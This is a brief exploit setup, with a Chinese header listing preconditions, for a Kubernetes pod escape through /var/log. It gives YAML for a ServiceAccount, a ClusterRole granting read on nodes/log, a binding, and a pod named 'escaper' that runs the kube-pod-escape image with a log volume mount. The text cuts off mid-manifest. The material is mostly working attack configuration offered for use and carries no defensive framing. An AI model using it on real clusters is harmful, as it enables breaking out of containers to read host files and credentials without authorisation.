利用前置
1.root用户
2.有serviceaccount读取log
3. 挂载var log目录
apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
- apiGroups: [""]
resources:
- nodes/log
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
volumeMounts:
- name: logs